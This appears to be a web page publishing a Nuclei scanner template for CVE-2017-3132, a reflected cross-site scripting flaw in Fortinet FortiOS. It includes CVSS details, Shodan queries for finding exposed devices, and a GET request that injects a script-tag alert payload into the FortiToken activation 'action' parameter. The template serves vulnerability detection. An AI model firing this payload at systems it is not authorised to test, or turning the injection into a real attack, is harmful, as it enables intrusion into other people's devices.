Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

ID: CVE-2017-3132

Severity: medium

Author: ritikchaddha

Tags: cve,cve2017,fortinet,fortios,xss

Description

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.

YAML Source

id: CVE-2017-3132

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3132
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3132
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var action = '</script><script>alert(document.domain)</script><script>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203bd0c68198c5a5ce844a2e42a71ed1b9b28e90a7024c0bf3f3143f8c0082a27202200ea449e39807c3b965cca6b8b4d315b580abbde9e3378731710f94b57a898f99:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-3132.yaml"

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